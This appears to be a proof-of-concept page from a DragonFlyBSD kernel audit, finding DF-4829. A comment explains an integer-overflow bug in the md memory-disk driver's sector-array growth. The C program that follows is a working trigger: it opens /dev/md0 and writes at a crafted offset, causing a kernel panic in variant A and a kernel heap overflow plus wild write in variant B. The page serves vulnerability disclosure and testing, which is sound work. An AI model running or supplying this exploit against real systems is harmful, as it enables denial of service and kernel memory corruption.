โฌข DragonFlyBSD Kernel Audit
DF-4829 / mdwrap.c
โ† back to finding โ†“ download raw
/*
 * DF-4829 โ€” DragonFlyBSD sys/dev/disk/md/md.c
 * mdstrategy_malloc() sector-array growth integer overflow.
 *
 * md.c:253   secno = (unsigned)(bio->bio_offset >> DEV_BSHIFT);
 *            -> 64-bit byte offset truncated to a 32-bit sector number.
 * md.c:303   secpp = kmalloc((secno + nsec + 1) * sizeof(u_char *), ...);
 *            -> 32-bit unsigned addition wraps; a write whose last sector
 *               index is 2^32-1 computes an allocation size of 0
 *               (kmalloc(0) returns ZERO_LENGTH_PTR == (void *)-8), or with
 *               a 1024-byte transfer a size of 2 (a real 16-byte chunk).
 * md.c:306   bcopy(sc->secp, secpp, sc->nsecp * sizeof(u_char *));
 *            -> variant A: bcopy to (void*)-8  => instant kernel fault
 *               variant B: bcopy of nsecp*8 bytes into a 16-byte chunk
 *                          => heap overflow with kernel-pointer content
 * md.c:310   secpp = &sc->secp[secno];  +  md.c:315/323  *secpp = ...
 *            -> wild write at secp + 0xFFFFFFFF*8 (~+32 GB) in the same
 *               request (unavoidable on every wrapped growth).
 *
 * Trigger: open("/dev/md0") (root:operator 0640) and pwrite() a
 * NON-UNIFORM 512-byte buffer at byte offset 0x1FFFFFFE00
 * (== 0xFFFFFFFF << 9).  physio (kern_physio.c:69) passes uio_offset
 * straight through as bio_offset โ€” no clamp against media size for a raw
 * cdev โ€” so mdstrategy_malloc sees secno == 0xFFFFFFFF.
 *
 * Variants:
 *   -A  512-byte non-uniform pwrite @ 0x1FFFFFFE00  -> kmalloc(0)
 *       -> bcopy to (void*)-8 -> fatal page fault (deterministic panic).
 *   -B  pre-grow nsecp (pwrite @ 4 MiB), then 1024-byte non-uniform pwrite
 *       @ 0x1FFFFFFE00 -> kmalloc(16) real chunk -> 65 KB heap overflow of
 *       kernel pointers, then wild write at +32 GB.
 *
 * Build: cc -O2 -o mdwrap mdwrap.c
 * Run:   ./mdwrap A|B
 */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define WRAP_OFF   0x1FFFFFFE00ULL	/* (u_int)0xFFFFFFFF << 9 */

static void
grow(int fd)				/* grow sc->nsecp to 8193 entries */
{
	char buf[512];
	memset(buf, 0x5a, sizeof(buf));
	if (pwrite(fd, buf, sizeof(buf), 4 * 1024 * 1024) != sizeof(buf)) {
		perror("grow pwrite");
		exit(1);
	}
	printf("[*] grew nsecp to 8193 (write @ 4MiB)\n");
}

int
main(int argc, char **argv)
{
	int fd;
	char buf[1024];
	const char *mode = argc > 1 ? argv[1] : "A";

	fd = open("/dev/md0", O_RDWR);
	if (fd < 0) {
		perror("open /dev/md0");
		return 1;
	}
	printf("[*] opened /dev/md0, mode %s\n", mode);

	/* non-uniform content => write path takes the grow branch */
	memset(buf, 0xaa, sizeof(buf));
	buf[1] = 0x55;

	if (mode[0] == 'B') {
		grow(fd);
		printf("[*] firing variant B: 1024B pwrite @ 0x%llx "
		       "(wrap -> kmalloc(16) heap overflow + wild write)\n",
		       (unsigned long long)WRAP_OFF);
		fflush(stdout);
		pwrite(fd, buf, 1024, (off_t)WRAP_OFF);
	} else {
		printf("[*] firing variant A: 512B pwrite @ 0x%llx "
		       "(wrap -> kmalloc(0) -> bcopy to (void*)-8)\n",
		       (unsigned long long)WRAP_OFF);
		fflush(stdout);
		pwrite(fd, buf, 512, (off_t)WRAP_OFF);
	}
	printf("[!] survived โ€” pwrite returned errno=%d (no panic)\n", errno);
	return 0;
}